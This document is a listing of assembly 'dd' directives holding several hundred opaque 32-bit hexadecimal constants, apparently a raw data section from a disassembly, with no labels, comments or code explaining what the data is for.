		dd 0E77622Eh, 3624CE8Bh, 21A0AAF4h, 160B0BEEh, 83E9303Bh
		dd 6B2600CFh, 0B6F5CC5h, 66D8784h, 0D466C7FEh, 0FE960730h
		dd 25E9256Ch, 0B0D947EEh, 0B297A6B1h, 59CD1585h, 0D0E40345h
		dd 0F4BFE472h, 0B5529166h, 57096E6Bh, 55BD291Ch, 57C97B68h
		dd 8C629B32h, 9FB645Bh,	4C8E3AB4h, 0C64660F5h, 788C2E6Bh
		dd 542F0310h, 0C1E6A88h, 1393755Ah, 76B3DC01h, 826026E3h
		dd 634816B6h, 8AB40169h, 2F439875h, 8405AF8h, 0E31E24E9h
		dd 125A9C0Bh, 0AE8BEAh,	0B1517FCAh, 5E27E990h, 92513752h
		dd 5A044EB8h, 0FEA417AFh, 0E44E772Bh, 424017B0h, 0C47925E9h
		dd 1AE98A13h, 0CD2D3E6Eh, 2B4FD03Fh, 2F0D2755h,	1A4A65E9h
		dd 13C2E73Fh, 30FBE32Bh, 0AB432FBCh, 545A162Eh,	844A0309h
		dd 0AD095CEAh, 8D1F8706h, 90C5925Fh, 0BFAD13FAh, 0E63EEE39h
		dd 34159675h, 1CBD02F9h, 0FC1BDF69h, 9BE967F7h,	0C990BED8h
		dd 746C962Ah, 5102DCB6h, 5552DF09h, 0EC8ABE65h,	60A51876h
		dd 20752A28h, 429B5F8Eh, 11C64512h, 139901C2h, 0E955ADE0h
		dd 5DE252FDh, 0C60377E4h, 673AB70Ah, 0B5850556h, 0E857AC19h
		dd 5E074039h, 9600CDFEh, 4D2EA82Bh, 0D69DA7E9h,	5122AECDh
		dd 5887F809h, 533CD488h, 12186C98h, 0CE1270BBh,	18E8D8C4h
		dd 1D04632Dh, 849BB95Fh, 0EA12153Bh, 5745E4C2h,	3A8901F1h
		dd 0C364D5E6h, 6A60FAF2h, 0D975B932h, 30AA7AB1h, 485FB782h
		dd 1617A235h, 0A00972F4h, 0F66D23CDh, 0EFC59B91h, 7EDBEBB7h
		dd 8A2A623Ah, 0C876C48h, 0A59653BFh, 4C6FCF60h,	0BB5DAF2Ah
		dd 5A406190h, 6E5ABD89h, 5282F697h, 2DAB8902h, 0F60770F2h
		dd 35A75A3Ch, 846024C3h, 4F49A6EBh, 0E9AB38EBh,	0AC04AD5Ah
		dd 99FCFE31h, 10C256A2h, 295DE868h, 5152AC9Fh, 51EAF168h
		dd 0C13A96B6h, 34D6F64Bh, 6901B2DAh, 0D12855B1h, 9254B6E9h
		dd 1A4FF4BFh, 46FE5312h, 2DD97100h, 98496E6Bh, 1BBF006Bh
		dd 0E6817D3Ch, 0AF656596h, 0CA127F8Eh, 0DD7EB76Dh, 549897F4h
		dd 0A74EA3E9h, 4A584C1Dh, 2101B985h, 0BF3785E5h, 1D54CA88h
		dd 0F9266E2Ch, 6877CF18h, 980C7B37h, 8F1E34CEh,	0A5B5BBFFh
		dd 312EB8D9h, 1D6CBB8h,	3EA8D5F6h, 2C9A990Eh, 53AE0BDFh
		dd 9CBB58F1h, 0DC89D388h, 0F7C5575Bh, 52E38D3Fh, 0E2D82250h
		dd 79F99758h, 3C0BE628h, 12E743Bh, 3319885Ch, 0F80C05EFh
		dd 0C425360Dh, 4EB0A823h, 14F73CC8h, 828A5447h,	0E57B1E7Fh
		dd 8A602DAAh, 494CDB4Fh, 243A07FAh, 0FE262001h,	4008831Ch
		dd 5FE9141Ch, 4B0EC00Eh, 0D3E4DA31h, 208408D0h,	0E2D12587h
		dd 9BB11070h, 1B70240Ch, 0F1810EE1h, 0CAB7B31h,	55037D61h
		dd 92C0EAF8h, 14232D32h, 0B9CD2129h, 0CB48598Bh, 47136FC2h
		dd 9E822533h, 0E90882EAh, 14DDD6D0h, 0A6489352h, 53990ECCh
		dd 0EA30C6B0h, 18C14DFEh, 0E8A83DD5h, 169B6198h, 4D90D3F7h
		dd 0AB2F9FE2h, 0D6B30A79h, 0C16DE905h, 5D94D45Dh, 54620ECh
		dd 590229BFh, 0EDAE014Ah, 2F42AFF1h, 4DFF79E0h,	27040432h
		dd 810BA748h, 2F1FC32Bh, 87ABEB24h, 0BE431576h,	0F713358Fh
		dd 0E36E61E4h, 9CAC04E7h, 6822BED7h, 79E57758h,	0DFB5E906h
		dd 64D49D34h, 0D7E52C9Fh, 0E9179EB4h, 0E2622CD4h, 0B0C4A869h
		dd 0E66FB501h, 7EF14F10h, 0D92A01FDh, 5BDE0826h, 0F48000E3h
		dd 7BC4E699h, 90A85BCCh, 3B86EFD9h, 0D467FF2Fh,	0C708A02Ah
		dd 9152FA1Ch, 6B1C8B62h, 0BE929DB2h, 0E90B6E8Ah, 295C8ECCh
		dd 67B9A9DAh, 0B4C908C1h, 90C227h, 4B090749h, 0D2029D3Ch
		dd 68024D1Eh, 0F0C56CD2h, 8D4F4B0Dh, 1170AD3Bh,	66A5C35h
		dd 16E7EDBBh, 3F2BFBB7h, 0CEF51D4h, 43F1699Dh, 0D0FE37Eh
		dd 9A292B7Dh, 80080B1Ch, 35AE4E23h, 0E9DB0BF7h,	0E2D9ED78h
		dd 0AEC22B97h, 8665FD5Ah, 98694C27h, 0C6F44BFAh, 82A04C99h
		dd 30B3D32h, 5F3096Eh, 0EBD83A89h, 131EBE50h, 29FDA16Ah
		dd 0F5C48425h, 6A21EE16h, 0A82E9B95h, 2CAFA556h, 0F24BD738h
		dd 0EBA5E1ECh, 0DE4EE931h, 3CE6B800h, 0DAC0B662h, 87708522h
		dd 60053BB6h, 0BB5C7012h, 9E295521h, 58314C25h,	80F84320h
		dd 4112882Dh, 26AC0E5Eh, 0DC5B6748h, 6082893Ch,	0E46D9A6Eh
		dd 230CC04Ah, 0E90DBE24h, 2D06B92Ch, 67908049h,	0CC0CAFEh
		dd 0D2F603E2h, 4D5AE90Eh, 0CFF1E717h, 0B81F68DCh, 2AF507C5h
		dd 0CE30E50Fh, 7B0BA663h, 0F20B6E7Ch, 7CB3C7EEh, 68402571h
		dd 0BE036855h, 0E92EC85Fh, 4E91AC17h, 0A20702FAh, 0FC943822h
		dd 0C7481CB9h, 5CEB60ACh, 16F7F2CFh, 2FC29BECh,	54941FE8h
		dd 116D152Ch, 0F7A8F10h, 7BBD0CD6h, 0B3457146h,	0C6BF7AE0h
		dd 4353D271h, 92AF6D5h,	0A50C6C76h, 0EE73DA14h,	485782E8h
		dd 258510EDh, 2FFD756h,	4BD44F42h, 525FE7h, 1B6F22ACh
		dd 0CB0A09D2h, 3AD608E9h, 0CEC0FD44h, 9EC83166h, 17D0436Eh
		dd 0E26A510h, 1935AE51h, 9635B73Eh, 0EECFCBBDh,	30D65EC2h
		dd 7049E902h, 0F8B98CDh, 1899325Ah, 3684C665h, 409889CAh
		dd 0F2828E9Eh, 40167267h, 176C60Bh, 2927BF25h, 2E42E9D6h
		dd 0C1B7B300h, 9502E7C0h, 0F71D0C70h, 0E98B2876h, 0D51342D2h
		dd 9BAC8116h, 5A316814h, 7BE6D3FFh, 732FA452h, 34F66548h
		dd 3B273D13h, 13EBC900h, 2512D431h, 0C856F329h,	4821EA5Bh
		dd 58116C07h, 6449810Bh, 0A96A6F12h, 1B4D0A7h, 0CF42F2Eh
		dd 1CA0F101h, 24E9FC08h, 388A78ABh, 82CD0FEh, 5EFF5E38h
		dd 0F8A316DFh, 7D4906CAh, 0A3872F3h, 767778DBh,	473403C1h
		dd 0C003109h, 4E1127D6h
		dd 25E4BD55h, 117CD406h, 3908ED02h, 0C939E017h,	2FD3BF61h
		dd 3AE14E12h, 9EFFB055h, 0A85C3B24h, 1020A2EFh,	7D68128Ch
		dd 172E8C48h, 27865640h, 2143F6CAh, 0D4F40996h,	9F8B5895h
		dd 8BBA4E64h, 4232D697h, 5D09DBB8h, 0CD52C1C9h,	3A40D6DEh
		dd 0A2BEB6E9h, 0CB342824h, 8DC9904h, 8283F398h,	12F73084h
		dd 562C6EF8h, 6402CB81h, 880C6D33h, 6CDD64B0h, 0AFB952C6h
		dd 211E8392h, 80070601h, 38E9B1EAh, 49A4DEC2h, 0D9B55416h
		dd 319105E0h, 0ABD0BBCBh, 9915C1E9h, 0F6685056h, 57274CB4h
		dd 0AB40016h, 52BBE90Bh, 71F20585h, 0FFBCCFAFh,	0C85C1D92h
		dd 138A6815h, 94EA623h,	9364226Dh, 69CE32A0h, 26199124h
		dd 0CF395702h, 1300D045h, 0CCF31CE9h, 3FDFB23Ch, 86941B52h
		dd 0FD84EEF9h, 8154D8AAh, 405F391Dh, 2873C900h,	0ED13701h
		dd 776857E9h, 512D7155h, 0B75F6940h, 7AE9460Bh,	0ED204806h
		dd 2D163D13h, 0FD210D92h, 0E8111772h, 68C302BCh, 0A11C7B1Ch
		dd 4B382F96h, 0C04B52DEh, 3050ADA1h, 0E5C1530Bh, 0C6440508h
		dd 1039CBAh, 0F265B6C4h, 17C22CA4h, 0D1A1125h, 600DBE75h
		dd 94DEE033h, 7EB8E1C1h, 0E0DB022Eh, 60F2512Ch,	982186Ch
		dd 6895559Ah, 7B4A999h,	0C889B08Eh, 5D8B059h, 77F6187Fh
		dd 61A8E927h, 74455F11h, 5C7D8182h, 0CBCFEE45h,	42202AE3h
		dd 0D550C01h, 0E3C133A6h, 0AEBD760h, 0D75886C9h, 6F820089h
		dd 0F0E9313Fh, 0C131175Fh, 51810350h, 1E3621EDh, 44323A45h
		dd 0BCE4F951h, 8A25E9A0h, 31254627h, 685622A5h,	9C4B3A9Dh
		dd 64A1DF88h, 0C6075FBDh, 1B0BFBD0h, 347353h, 67E9578Fh
		dd 60BCB6B6h, 0B1BFDC36h, 255572B5h, 3AC6A483h,	6880F1F6h
		dd 0D6509ADh, 2EC05F05h, 5E98DFF7h, 421F2B5h, 21973216h
		dd 0E6FDC0FEh, 0B1785D54h, 37293890h, 510961FCh, 0F671E826h
		dd 0A312BD76h, 9BD5157h, 0A546086Dh, 0F81A7D34h, 4DA13FECh
		dd 272B660Fh, 0D57CE2C4h, 5250F86Eh, 901FD90h, 0E9567510h
		dd 0E72F088Eh, 0A50E5B37h, 3600F741h, 5159C7C3h, 4A18C319h
		dd 0B827ED4Bh, 8028405Dh, 494F90C5h, 0BE021C34h, 518C237Ch
		dd 7478CCC0h, 0E9134CFEh, 433462D1h, 2D0EC04h, 77F38100h
		dd 0FD7B7E50h, 85590669h, 0D4F8CD1Ch, 0FF7C5931h, 93820E7h
		dd 0C2EC82B7h, 8A5545C7h, 10601EEh, 3E6296F6h, 7C453E14h
		dd 43201F0Fh, 9F545253h, 4E55D48Bh, 0E8564A0Bh,	9452E43Ch
		dd 5B0010E6h, 7D2DB850h, 25006942h, 3F8A2B8Ch, 0D35E0D1h
		dd 34555A70h, 2DC3400Eh, 5D25EF2Ch, 9D8D7833h, 896EB6F9h
		dd 9A9C5734h, 2FF96AF9h, 7C507F8Bh, 680BD01h, 0EA316077h
		dd 82339A30h, 3952C609h, 0C04AD198h, 0B47A67AAh, 4B04EC56h
		dd 68C747BBh, 845E490Fh, 0C3BF7D64h, 4E55E9Bh, 0AF5736D7h
		dd 0E5E0BFC9h, 0BE66975Bh, 7E7B352Dh, 6CCBED70h, 0AF80B55Bh
		dd 0F8A01103h, 0CF6B29E9h, 0B9A307E4h, 58D68B8Ch, 0A77B762Fh
		dd 0DB0E5F9h, 62A3E955h, 6E5C9DEh, 0BB6357E8h, 58271549h
		dd 1F5622D8h, 57BE28EEh, 0F004BB27h, 26188CBDh,	0E4BDF93Fh
		dd 6C182954h, 1BC102A5h, 0F9801D80h, 4BCE4F40h,	0C6270D28h
		dd 82032B75h, 0E907920Ch, 29C52697h, 8B091FBDh,	0A2FF1D6Dh
		dd 81C2BAh, 0EE3F79BAh,	0F0D5F1E5h, 0C2E116B4h,	883B45F5h
		dd 3EA4D753h, 78201E0Bh, 0BE04EB06h, 0F96A73E1h, 2233B297h
		dd 155C8A85h, 17A7224Ch, 0F0283257h, 45094024h,	34A05CCh
		dd 944C148Bh, 21F29180h, 49483E12h, 0C8CE224h, 652403DCh
		dd 0E919CCE3h, 5F433926h, 27C835C5h, 387F12F5h,	73C80445h
		dd 0F2250007h, 21A5741h, 0F9BE7405h, 8D4989F5h,	7C5A6AC7h
		dd 89887EF4h, 1204DF01h, 0D20BB9EAh, 61AB1C17h,	7B93E9EDh
		dd 87F30847h, 2932D160h, 1B71B7DEh, 0ADF8E985h,	0D92A9FCDh
		dd 0D3A42B07h, 12AE25E9h, 0CABC3779h, 206B2FE1h, 76BA4024h
		dd 0C6B0885Fh, 55E84921h, 0F4A996h, 0BA685055h,	28410D44h
		dd 0BA5658h, 2984186Fh,	0F75EA8BEh, 58C0034Bh, 1E5CCC2Dh
		dd 27E93725h, 1750AE09h, 0E00FD77h, 60CA8116h, 0B542C856h
		dd 0E1C1B40Bh, 75D7FDE9h, 12492E59h, 0BF88407Fh, 5420398Dh
		dd 2FD4277Ah, 0F628D559h, 0B5B0194Ch, 688212F8h, 80764070h
		dd 0F84A1A90h, 0EF38733Eh, 52BF5ABDh, 8B3DB332h, 0B1AB4902h
		dd 0C2774F3Ah, 607B5981h, 416F6C01h, 2FBF2208h,	42A47C5Ch
		dd 32D5D5CCh, 74F5h, 2CC45D1Eh,	49D4AE9h, 0F3AE5B67h, 478F8620h
		dd 0D5D12084h, 0EF4F5A2Ch, 2307C27h, 0CAA9AA2Ch, 3351A25Fh
		dd 64510779h, 0EBD4941Ch, 6BCCEDA4h, 0D4FB6FBBh, 5D3BA0Fh
		dd 0CA111D2Fh, 1A804FCDh, 25A697FCh, 5E722D78h,	5CDC0507h
		dd 94A050BBh, 9702CD46h, 7FC91B40h, 2205881h, 45989F5Dh
		dd 0E807B050h, 0D0F6EA2Ch, 0EBE9F140h, 0A8ABAB41h, 0F14E4409h
		dd 0C4043861h, 0DB1C0818h, 3AD72566h, 4FCA14D7h, 0E0201641h
		dd 0C0126F4Ah, 5EFC071Fh, 49CC2939h, 7F5D635h, 0FB359B47h
		dd 0E008309h, 55FB4B68h, 7B5DE9EEh, 0E0592D7Bh,	4014405Dh
		dd 0B80BEE16h, 0F66B256Dh, 18110213h, 0B284729Bh, 2340AFACh
		dd 53CB37C2h, 0D6892EDAh, 20C13AD6h, 245C19FAh,	18A59DA9h
		dd 12EAB3FEh, 1F04E380h, 0E71BCB97h, 0C0549855h, 0C5F6B213h
		dd 506F771Eh, 0E70FB799h, 6969DA57h, 0EE5D4962h, 0C8F09750h
		dd 0A5D74D95h, 4A01195Fh, 51131538h, 50380488h,	0D1B900A4h
		dd 0B00DE870h, 355902BBh, 8F8DCB49h, 0EDFE6E3h,	5EADC17h
		dd 0C10928B0h, 0D0C80131h, 4F7340B0h, 9109E7EAh, 7816717Fh
		dd 61EDFEA8h, 0C81A6DABh, 3FD387Ch, 125B3D8Ah, 0C075B729h
		dd 92B09D90h, 52B10051h, 0E180C1FEh, 0D96CF6A6h, 2FAD0E04h
		dd 0DDD8F9E9h, 4B953B7h, 0EC3722EEh, 435E0571h,	0CAD95D1Bh
		dd 0D8B8B105h, 362FBE4Ah, 3AA8445Ah, 7E68024Bh,	88117976h
		dd 9616355Ch, 69FADBBBh, 61133050h, 3BA3130Dh, 25C0BF31h
		dd 0B0595BBEh, 954B344Dh, 5DA10341h, 0DCDA7A4Ch, 0ECDFC14Ah
		dd 4F363144h, 65AF5CDFh, 65F73A18h, 0EE637316h,	5ECB8E28h
		dd 4B91A3E0h, 0E9560E83h, 71050DD2h, 2755C21h, 20D3645Fh
		dd 597FD1DCh, 0D5E89E25h, 5C53CB2h, 0CB04B0CBh,	8800821Bh
		dd 35A5096Ah, 3AE5BE0Eh, 9B175660h, 334C7600h, 0B8F70648h
		dd 22A2790h, 0D3B2AB6Eh, 4E855D56h, 59C5DAADh, 8F64EC55h
		dd 64AA575Dh, 0F48BB801h, 9CB765C8h, 9FB401A9h,	0E8C9C480h
		dd 98BF8961h, 0E24FEAB3h, 5EFE9D0Dh, 6D245E03h,	831CE601h
		dd 141C4008h, 0EF8C52E9h, 0FC39F912h, 56F6C487h, 3E9CC998h
		dd 0E9171171h, 0BFA88036h, 887F107Bh, 500B9A98h, 0F5F20h
		dd 6D1CD827h, 0FB0905FDh, 20BFCDE9h, 47200FB5h,	516A5Ch
		dd 4F415E8Ah, 2DE9D931h, 0C7E65155h, 0B4AC220h,	92506CB8h
		dd 0A02A1E07h, 83254BB6h, 46366716h, 81F54BAEh,	0FBBDEE50h
		dd 0E4D5C951h, 0A499D54h, 4A38383Ah, 0FB3E455Dh, 0A5F9E62Fh
		dd 0C90F5106h, 42FE762Eh, 522968EDh, 5CB46E48h,	0B800A191h
		dd 957E8AFh, 0B51EFACFh, 0FB45E585h, 0ED839881h, 81D4406Bh
		dd 0E053E8F5h, 9BEC175Eh, 0BB98040h, 3FD629B6h,	0E06E2048h
		dd 0F7A51992h, 5820E942h, 3E804C8Fh, 0E93C5F78h, 5EA187Fh
		dd 5F680206h, 7B42D9DFh, 0B841DA2h, 2599BFDCh, 40C1AB04h
		dd 1013BC6h, 0B7CB3BEBh, 2D0D1C10h, 0E4FDD65Ch,	64E94202h
		dd 0E3985F12h
		dd 2887110h, 0AB1BD34Eh, 211225CAh, 4DCEEFD0h, 80160C4Ch
		dd 80E8A351h, 0FB685E53h, 580AA917h, 9584146Ch,	6B823712h
		dd 0D7ED5F0Dh, 32A06809h, 8A5BD78Dh, 2827E985h,	54AD5F90h
		dd 5B2E3B8Dh, 4FF40427h, 49824052h, 2D3580FCh, 7BD2771Eh
		dd 3C532996h, 0F2BFD705h, 94C123E8h, 0F4768E67h, 26C0D438h
		dd 445FBE56h, 4E7F3E43h, 0FD161213h, 0D9D117FFh, 0E84A488Ah
		dd 202989AFh, 6C76BE08h, 0C0075B68h, 0EBE5812Bh, 63E35412h
		dd 0CCBC8ACh, 0A47E5589h, 8760805Ah, 0F950C169h, 24967BCCh
		dd 1645AEA3h, 4A8AA731h, 0B2D70EB2h, 0DADC0CFh,	5BE93F3Ch
		dd 829E1E99h, 0FFCFD7FBh, 443AA362h, 0F526D574h, 0CA4B7819h
		dd 0B621D0DCh, 3FF983Dh, 0D395F901h, 24ABF0Fh, 5E68586Eh
		dd 806FF356h, 40E4AF4h,	5FE92743h, 1EC36362h, 399AE8B9h
		dd 1FDE04E3h, 88EE6690h, 0A62DE94Fh, 0EC9C56EDh, 36D30B16h
		dd 3E0104FEh, 54EF1F57h, 4805C9F7h, 0A6C25464h,	5C394C05h
		dd 449E1C1Dh, 0A1E2ECD3h, 0ADB22EDCh, 2650B7C9h, 0DA894A50h
		dd 91650B94h, 0E75E5DB0h, 0F4175E3Eh, 6BB444C0h, 0A07DC655h
		dd 100732A0h, 28A86F5Eh, 460417h, 0E462307Ah, 7430E933h
		dd 0D4E5A59Fh, 65353D52h, 9F806FA5h, 0D03326B8h, 0D0786D6Bh
		dd 76FCB50Eh, 0F15183FAh, 0B3AB8445h, 2C257B2Eh, 0CB4FF6EEh
		dd 0DCC16709h, 7D8B7E5Fh, 0B95EFF84h, 1D89CC3Fh, 1E5D5C6Ah
		dd 2FFB88D9h, 8EBE0713h, 18854EB0h, 30D2C8E9h, 2A3FEA13h
		dd 35BB4144h, 0AB104022h, 0CCE9F902h, 3B5580B5h, 9F19DE4Ah
		dd 0D52CD880h, 0CE450177h, 8F3411B2h, 20BFC748h, 33B25B09h
		dd 80EC624Fh, 0DE5EFA0Fh, 218B039h, 0D8766D8h, 26C2FD29h
		dd 117D080Bh, 347F5C8Ah, 2E1E81E9h, 305A00ADh, 8ADC9DE2h
		dd 0A96FF52h, 8DA6025Eh, 0EADD2826h, 0CF2B42B5h, 0C19A98D5h
		dd 20998EBh, 977372C3h,	486156FAh, 0CEB13C0Bh, 0AD3F7085h
		dd 95B6A2Fh, 4503DC03h,	92F05877h, 0C8324A18h, 408283B3h
		dd 81FD420Bh, 905A55B8h, 1E1B10E1h, 44016112h, 13E034FEh
		dd 811A240Ch, 2F71B6F1h, 60A9A6CCh, 0C5F74D5Eh,	9F16BDA0h
		dd 1FE2F989h, 0A65EE390h, 0C8804E94h, 9829B82Ch, 0F3014A5Ah
		dd 52EA04F2h, 0C9C02B76h, 2F4AA8E6h, 1337BB7h, 364297B0h
		dd 5F682B0Ah, 5FA62077h, 8D405483h, 56FE2036h, 0D42FE8B4h
		dd 90A15061h, 0C0D8F780h, 323C2D04h, 14EA47ADh,	3AC0BC13h
		dd 0FB314806h, 285B123Eh, 844416C8h, 3CE7FE81h,	0FC9A855Dh
		dd 5EF69AABh, 0F4D668E2h, 61C66997h, 0B3CA0DDFh, 6269F85Eh
		dd 72AD8747h, 44C0B13h,	0C5E9064Eh, 9E10E8FFh, 0E67ACD0Bh
		dd 0F22C204Dh, 4989F99Dh, 0E953D821h, 0AFA1C6D3h, 712117E1h
		dd 0FCE3DBECh, 553F803h, 14E44F37h, 72DC83Ch, 0A8F6E90Ch
		dd 21161E5Fh, 0B0D64F2h, 0A16B0D1Ah, 6AE67B07h,	0AE0C7D2Dh
		dd 71EAECCh, 7AC9641Bh,	0EE7A7A58h, 0FD2667BCh,	0E3C8E6E7h
		dd 3FCE8102h, 0FE0C2E6Bh, 0FD8E8259h, 23F0E5C5h, 0F342F0A2h
		dd 0F197A946h, 2FE202A1h, 80005202h, 90403B7Eh,	0C6AE0227h
		dd 0F089C2FCh, 45CA91E0h, 25FBE6BDh, 45519209h,	221AC5CFh
		dd 147A0E2Dh, 7740FC0h,	283D26D9h, 0AFCC85E9h, 0E75B8EE4h
		dd 7A7E2CA5h, 1EB0729Eh, 0B3082868h, 0E3DE39C6h, 1D251436h
		dd 0CBF1D6F1h, 3CA0D0E5h, 8865D2F8h, 66167D95h,	0BF82073Bh
		dd 980888C2h, 270AC408h, 706DB0DFh, 5E46C1F7h, 3A58C709h
		dd 0C7B51BCh, 687A39A3h, 7119570Ch, 5FD0AB20h, 0CFBBF754h
		dd 2DAB5ABAh, 0BF053FE5h, 6BA45B53h, 0A9431EE4h, 1339D3EFh
		dd 0CFCAEBF8h, 6E23257Eh, 0FB08CF7Bh, 0C7FE0012h, 8003EFC0h
		dd 0D6DEF725h, 0EA963CA0h, 14C70C07h, 2FBF2D26h, 0AD71456Eh
		dd 36433F00h, 4C014056h, 841CFD3h, 9EAC0420h, 0A85E12C7h
		dd 3DFAF5B2h, 10B82AFCh, 9C4F4024h, 8C55CC68h, 0D960ABB8h
		dd 5A0BED31h, 0F84C73CCh, 70D6953Fh, 6880440h, 14749F5Fh
		dd 0F46BE984h, 3A7FA5BBh, 1E6035F2h, 862CC2B7h,	0B2020BACh
		dd 21E9F828h, 0F00FECB0h, 655582C6h, 90D3A220h,	0BA062B14h
		dd 1055256Eh, 5943E94Fh, 89D27496h, 4057FCC8h, 0FF204181h
		dd 334C0916h, 2560316Bh, 0E7B50A4Bh, 52530037h,	0B665B450h
		dd 0E628A700h, 305DB758h, 665A05F7h, 0A93D2068h, 0FD881634h
		dd 0E9AF20ABh, 0A5ABFAEAh, 0A780438Ah, 1215398Dh, 30133892h
		dd 17AFD461h, 5FCB2ECh,	0C5D884BBh, 192D82F8h, 0D7875640h
		dd 30EF5A4Fh, 772DCFDDh, 55609604h, 5ED47CE9h, 52ADC8FEh
		dd 1EB6D040h, 49F52856h, 4A9E6C2h, 0DB27E9D0h, 3E90F7D3h
		dd 6C257F33h, 60229A45h, 82DA43EEh, 648D51D7h, 649AEB58h
		dd 7D3CD75Bh, 25AC3BB9h, 8528B2B4h, 61FA5368h, 7A41362Bh
		dd 0FA48712Ah, 8768601h, 7AEDE979h, 0D0BF7700h,	4A5E885Ch
		dd 125CE831h, 94E9C358h, 0D818C925h, 9B2C817h, 310005FAh
		dd 52D13839h, 27417ABAh, 0DD10BFh, 94176A11h, 2C459113h
		dd 2058A8BDh, 5D4A1649h, 0EE8500AAh, 7A1D3E4Eh,	0E65B0AFEh
		dd 0D59481E3h, 540AEB32h, 5B5D6C42h, 0E2C949F5h, 58F2F20Fh
		dd 0D1967926h, 28F75967h, 45C3DEB9h, 0B58FBC5Ch, 181281EAh
		dd 0D1B33BAFh, 45F692h,	4196BB53h, 1552378Fh, 3A1047E9h
		dd 68555600h, 2DEE72E0h, 38593290h, 0C08359D5h,	8B7C580h
		dd 4FA6C4EBh, 0DFFDE4FBh, 0B91D7043h, 473E02A4h, 8EA9A5E9h
		dd 0F26210F7h, 0D85D82C8h, 36CA0E17h, 0C5C097B9h, 2C0F4AF1h
		dd 0A3CD2926h, 3B48EF08h, 0A9F3085Eh, 0A6EE310Ch, 6EFD4171h
		dd 0FE6863F1h, 75E3FAA4h, 0CAF03D27h, 82085195h, 0C8BE0F66h
		dd 71540B60h, 9FE93784h, 0B9A56A7h, 4635C58h, 9B8407Fh
		dd 26C4EB81h, 278329CCh, 734801EFh, 3B97B4AFh, 506F00AFh
		dd 0FD685152h, 62517C01h, 551C3EA3h, 0D2847C27h, 2FD15090h
		dd 0C851CBC5h, 0FD9199FEh, 0E307813h, 6778F580h, 0ED600CE5h
		dd 9FEA881Dh, 0BC5D74A9h, 83D0A556h, 15C2805Ch,	0C117F299h
		dd 0F03760D0h, 0D6A2085Eh, 0A0565427h, 1239FECBh, 0FE3AB1E2h
		dd 0BDE38810h, 0EB686A18h, 0E0BF5162h, 0B1FE09C5h, 62850949h
		dd 0FF01DFD0h, 2FEA495Eh, 4AAA9E0h, 9401E06h, 91F100D9h
		dd 0B1DD14Bh, 5259CA89h, 83181103h, 65A8715Ah, 48CDEE10h
		dd 79B8050Bh, 0EC444F2h, 7887A795h, 27825473h, 537EF189h
		dd 5122C1C4h, 0FCCACEE2h, 5AF0597Dh, 6529D97Fh,	5AB7F0D8h
		dd 6F14681Ch, 1ABED72Dh, 685E912h, 0A89ABEEDh, 4B707BF4h
		dd 0ED64B52Fh, 53D484F0h, 60F330Ch, 0D8CFDABCh,	7047945Eh
		dd 0FE4A80E9h, 689742EEh, 0B0D7549Bh, 2E3D1DA4h, 19506E55h
		dd 0DDC72DC8h, 0A5852E76h, 0FC1E2DBAh, 70AC931Ch, 0F505C60h
		dd 9775721Dh, 0AC6B3440h, 6BFC4D4Fh, 0EB95100h,	94C8255h
		dd 0F220B6B0h, 8E2D05DEh, 863B1619h, 0D5014694h, 0E9458A6Ah
		dd 8C6E1227h, 0C65EB1DFh, 92F4268Ch, 0B7BD00D9h, 0BB077A3Bh
		dd 48255533h, 97CFFC6Eh, 0BB2AC43Fh, 81D6E6D0h,	4B3D16CEh
		dd 2964EFFCh, 0C41E9B15h, 4E4C01C6h, 0CF13C10Eh, 5600FBFCh
		dd 44E93410h, 0EBF55C01h, 852E0841h, 0F684815Fh, 0C3A064Bh
		dd 701E1B23h, 0A6EE3547h, 3A95E39Dh, 3BA76873h,	9F2F06C6h
		dd 59D27E8Fh, 21FA3051h, 38CD774Ch, 0A611B5E9h,	0F4CFD1BBh
		dd 0C62369A0h, 58B5D39h, 3E5BAEF3h, 4C41BF0Dh, 0D818221Bh
		dd 0FB50846Bh, 418AF22Ch
		dd 0D8C84250h, 1139B960h, 10ABB1EFh, 0BB0422EDh, 0BAB82CB0h
		dd 0FB5E4EA4h, 0E4FEA528h, 0E908C2F7h, 29769CFBh, 5F28425Ah
		dd 0E975759Eh, 17404641h, 7C75CFh, 0E2814A47h, 6BB3509Ah
		dd 0E9271BB8h, 0BB33407Bh, 584D17B0h, 0E787B011h, 0F0E67BF9h
		dd 2E7D497Ah, 0E28AE5Bh, 66C54075h, 9AE5FCB5h, 3E77156Bh
		dd 0C0D620A9h, 7F46816h, 493B6B9h, 0A73AFB95h, 97513FB7h
		dd 0B1E256C1h, 2F58709Eh, 6C5FF807h, 712AFC4h, 0E46F830Bh
		dd 0A193BDAEh, 0CE339FB0h, 4556248h, 0B53F5482h, 3110C2BEh
		dd 0E94143FBh, 887E7377h, 6FE55028h, 422EDCA7h,	63B381BFh
		dd 0C880EBD0h, 27902830h, 34405290h, 0B5511E66h, 1CC4E41h
		dd 760B237h, 0CFC04B3Ch, 5DDF89DBh, 0EDC1471Ah,	0C87F80C5h
		dd 9528AE2Dh, 0EB053E7Ah, 0FACB0FBAh, 46B59731h, 994CA123h
		dd 0C8E3E9B0h, 0A160FF82h, 0A6BBB7F1h, 0E703973Ch, 4A383DE9h
		dd 285BFC01h, 0E0EC80F4h, 115E90E9h, 631BB943h,	846FDFADh
		dd 34EB5372h, 59A3C2D7h, 807E5D5h, 0DE2DC451h, 2DE403D2h
		dd 1AE1B785h, 0B7F26EC5h, 0B8369384h, 10269425h, 8E4048C0h
		dd 3ADF52AAh, 13B2705Ch, 80B809F5h, 0F04368C4h,	0BF414A30h
		dd 27C9A35Eh, 825F7815h, 0F8FBD6A6h, 7F6564E9h,	35325816h
		dd 4BB3D04Ah, 0B444B85Fh, 9408EFFh, 3A010D99h, 0BAFBD87Dh
		dd 17E91282h, 79099062h, 7632616Eh, 4108F229h, 0FA04EE10h
		dd 0AE83B687h, 0F3793FFCh, 40D83796h, 0A73C0E0Fh, 0E5068147h
		dd 1844121h, 2F51F6E4h,	0C2482452h, 2908AEC7h, 8E989DAh
		dd 0FE254083h, 55276B77h, 2A313201h, 0DEA700F1h, 71DD5AAAh
		dd 7B7D5232h, 28330B47h, 310B3645h, 68140F6Fh, 95046F1Fh
		dd 17DDAB49h, 92708601h, 19CE7381h, 3A20BE78h, 9E6FAF4h
		dd 1F8D4427h, 509C2080h, 65B031FDh, 7AD34898h, 55E179AAh
		dd 89CAE968h, 0F44CFD0Ch, 38C7DD5Eh, 0F06E4CBDh, 0D1A8473Dh
		dd 124E2A68h, 4079ABF3h, 0BB045333h, 1B9901B9h,	2B84D8EEh
		dd 1FC74D12h, 4E9DC2E0h, 891D241Dh, 0B274D476h,	895A7817h
